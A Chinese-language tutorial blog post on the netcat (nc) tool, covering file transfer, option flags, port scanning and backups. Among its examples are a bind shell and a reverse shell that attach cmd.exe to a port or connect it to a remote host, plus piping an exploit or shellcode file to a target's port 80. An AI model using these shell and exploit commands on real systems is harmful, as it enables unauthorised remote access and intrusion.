今天在饮水思源上闲逛,看到了一个贴子关于Linux下nc命来实现文件传输,进行学习了解了一下。

发送端:

cat test.txt | nc -l -p 6666

或者nc -l  -p 6666 < test.txt

【监听6666端口,等待连接】(设发送端IP为10.20.133.152)

接收端:

nc 10.20.133.152 6666 > test1.txt

如上面的操作,即可将文件test.txt从发送端传送到接收端,保存为test1.txt

想要连接到某处: nc [-options] hostname port[s] [ports] ...

绑定端口等待连接: nc -l -p port [-options] [hostname] [port]

语  法:nc [-hlnruz][-g][-G][-i][-o][-p][-s][-v...][-w][主机名称][通信端 口...]

补充说明:执行本指令可设置路由器的相关参数。

参  数:

-g 设置路由器跃程通信网关,最丢哦可设置8个。

-G 设置来源路由指向器,其数值为4的倍数。

-h 在线帮助。

-i 设置时间间隔,以便传送信息及扫描通信端口。

-l 使用监听模式,管控传入的资料。

-n 直接使用IP地址,而不通过域名服务器。

-o 指定文件名称,把往来传输的数据以16进制字码倾倒成该文件保存。

-p 设置本地主机使用的通信端口。

-r 乱数指定本地与远端主机的通信端口。

-s 设置本地主机送出数据包的IP地址。

-u 使用UDP传输协议。

-v 显示指令执行过程。

-w 设置等待连线的时间。

-z 使用0输入/输出模式,只在扫描通信端口时使用。

另外,nc命令也可用于端口扫描:

nc -v -z -w2 10.20.133.152 1-14000

可以扫描10.20.133.152主机上的1~14000号TCP端口;

nc -u -v -z -w2 10.20.133.152 1-14000

可以扫描10.20.133.152主机上的1~14000号UDP端口。

nc是一款很不错的网络检测工具,以下是详细使用。

'nc.exe -h'即可看到各参数的使用方法。

基本格式:nc [-options] hostname port [ports] ...

nc -l -p port [options] [hostname] [port]

-d 后台模式

-e prog 程序重定向,一旦连接,就执行 [危险!!]

-g gateway source-routing hop point, up to 8

-G num source-routing pointer: 4, 8, 12, ...

-h 帮助信息

-i secs 延时的间隔

-l 监听模式,用于入站连接

-L 连接关闭后,仍然继续监听

-n 指定数字的IP地址,不能用hostname

-o file 记录16进制的传输

-p port 本地端口号

-r 随机本地及远程端口

-s addr 本地源地址

-t 使用TELNET交互方式

-u UDP模式

-v 详细输出--用两个-v可得到更详细的内容

-w secs timeout的时间

-z 将输入输出关掉--用于扫描时

端口的表示方法可写为M-N的范围格式。

1)连接到远程主机

格式:nc -nvv 192.168.x.x 80

讲解:连到192.168.x.x的TCP80端口

2)监听本地主机

格式:nc -l -p 80

讲解:监听本机的TCP80端口

3)扫描远程主机

格式:nc -nvv -w2 -z 192.168.x.x 80-445

讲解:扫描192.168.x.x的TCP80到TCP445的所有端口

4)REMOTE主机绑定SHELL,例子:

格式:nc -l -p 5354 -t -e c:\winnt\system32\cmd.exe

讲解:绑定REMOTE主机的CMDSHELL在REMOTE主机的TCP5354端口

5)REMOTE主机绑定SHELL并反向连接,例子:

格式:nc -t -e c:\winnt\system32\cmd.exe 192.168.x.x 5354

讲解:绑定REMOTE主机的CMDSHELL并反向连接到192.168.x.x的TCP5354端口

以上为最基本的几种用法(其实NC的用法还有很多,

当配合管道命令"|"与重定向命令""等等命令功能更强大......)。

6)作***程序用,例子:

格式1:type.exe c:\exploit.txt|nc -nvv 192.168.x.x 80

格式2:nc -nvv 192.168.x.x 80 < c:\exploit.txt

讲解:连接到192.168.x.x的80端口,并在其管道中发送'c:\exploit.txt'的内容(两种格式确有相同的效果,真是有异曲同工之妙:P)

附:'c:\exploit.txt'为shellcode等

7)作蜜罐用[1],例子:

格式:nc -L -p 80

讲解:使用'-L'(注意L是大写)可以不停地监听某一个端口,直到ctrl+c为止

8)作蜜罐用[2],例子:

格式:nc -L -p 80 > c:\log.txt

讲解:使用'-L'可以不停地监听某一个端口,直到ctrl+c为止,同时把结果输出到'c:\log.txt'中,如果把‘>'

改为‘>>'即可以追加日志

附:'c:\log.txt'为日志等

9)作蜜罐用[3],例子:

格式1:nc -L -p 80 < c:\honeypot.txt

格式2:type.exe c:\honeypot.txt|nc -L -p 80

讲解:使用'-L'可以不停地监听某一个端口,直到ctrl+c为止,并把'c:\honeypot.txt'的内容‘送'入其管道中!

10)备份档案

A机的资料夹 /data备份到B主机的backup.tgz

源主机: tar czf - work|nc -l -c -p 1234

目的主机: nc 192.168.0.1 1234 >a.tgz

A:tar -zcf data|nc -l -p 4444

B:nc a 4444 >backup.tgz

linux端口扫描nc,Linux下nc命来实现文件传输、端口扫描相关推荐

  1. 【Linux学习笔记】用nc实现两台主机间的文件传输(不需要输密码)

    通常,可以用scp完成两台主机间的文件传输任务,但在主机间未建立信任关系的情况下,scp每次都需要输入密码,用起来感觉不是很方便,之前这篇笔记介绍过不用输入密码执行脚本或传输文件的方法,但对于一些临时 ...

  2. Linux下基于TCP的简易文件传输(socket编程)

    Linux下基于TCP的简易文件传输(socket编程) OSI和TCP/IP: 关于TCP/IP协议 关于TCP协议 TCP编程的一般步骤[^2] TCP文件传输实现 功能概述 服务器编程 客户端编 ...

  3. linux ssh客户端_WinSCP软件双系统(Win-Linux)文件传输教程

    WinSCP软件是windows下的一款使用ssh协议的开源图形化SFTP客户端,也就是一个文件传输的软件,它有什么优点吗,咱们嵌入式开发中经常会将windows中的文件复制到linux系统当中,比较 ...

  4. linux nc 传送文件,Linux下nc命来实现文件传输

    发送端: cat test.txt | nc -l -p 6666 或者nc -l -p 6666 < test.txt 有些版本不要在 -p [监听6666端口,等待连接](设发送端IP为10 ...

  5. Linux下C语言实现TCP文件传输

    开发环境: Linux,GCC 功能介绍: 客户端和服务端的TCP文件传输,客户端可以上传文件到服务端,也可以从服务端下载文件,还可以查看和修改服务端的工作目录(临时),查看客户端当前目录. 代码下载 ...

  6. linux tcp文件分包_在Linux下基于TCP协议的文件传输程序.

    [设计目的] 通过 Linux C 编程,设计一个基于 TCP/IP 的文件传输系统,实现网络文件的收发 [设计环境] Ubuntu 12.04 [设计方案] ( 1 )文件读写 任意文件都可以二进制 ...

  7. Linux命令大全(三)(详解)文件传输、磁盘管理及磁盘维护

    6.linux文件传输命令 bye 功能说明:中断FTP连线并结束程序. 语 法:bye 补充说明:在ftp模式下,输入bye即可中断目前的连线作业,并结束ftp的执行. ftp(file trans ...

  8. ubuntu mysql 多端口_ubuntu 16.04下mysql5.7.17开放远程3306端口

    开启MySQL的远程访问权限 默认mysql的用户是没有远程访问的权限的,因此当程序跟数据库不在同一台服务器上时,我们需要开启mysql的远程访问权限. 主流的有两种方法,改表法和授权法. 相对而言, ...

  9. Linux网络文件共享服务(一)存储类型和文件传输协议FTP

    成功不易,加倍努力! 网络文件共享服务 本章总目录 1 存储类型 1.1 DAS存储 1.2 NAS存储 1.3 SAN存储 1.4 三种存储比较 2 文件传输协议 FTP 2.1 FTP工作原理介绍 ...

最新文章

  1. (C++)除基取余法:将十进制数转化为Q进制数
  2. 蚂蚁上市 P8 身价超亿,丢给我这几个牛逼的公众号
  3. KeyedVectors python 从词向量文件中快速生成{词:词向量}
  4. linux命令行颜色
  5. 如何使一维数组一行一行的输出成二维数组的格式
  6. 实验8 SQL Server 的存储过程
  7. java面试题33 Math.round(11.5) 等于多少 (). Math.round(-11.5) 等于多少 ( ).
  8. HeadFirst设计模式篇四:工厂模式
  9. 【Python】直接赋值,深拷贝和浅拷贝
  10. 补PSP进度(10.28-11.3)
  11. Java正则表达式之Matcher类的find和matches方法的区别
  12. 协作机器人关节模组总结
  13. 计算机配置作业2000,求一组近期装计算机配置清单 价格清楚
  14. python--step-01
  15. 教资缴费显示内部服务器错误,中小学教师资格考试网上支付常见问题
  16. Axure下载安装汉化
  17. 7-2 输出数组元素分数 20
  18. 数学——[0,+∞[ 的意思
  19. Algorithm:串联所有单词的子串
  20. Vue介绍以及练手案例——音乐播放器(搜索音乐、听歌、看评论、看mv等)(持续更新)

热门文章

  1. mednafen综合游戏模拟器
  2. Linux基本命令-03(定时任务)
  3. Android图片加载缓存库3
  4. Redux中间件——Redux-thunk
  5. 全球网络设备供应排名 华为公司稳坐第一名
  6. IDC中国金融云市场报告:百度智能云跃升第二,高速增长55.4%
  7. TPMS胎压监测系统
  8. wlanFineCFOEstimate 详解
  9. python爬虫捕鱼网站_一个简易的爬虫工具,使用Python语言编写,用于zhihu全自动捕鱼...
  10. Java PHP Python实现短信验证码和国际短信群发功能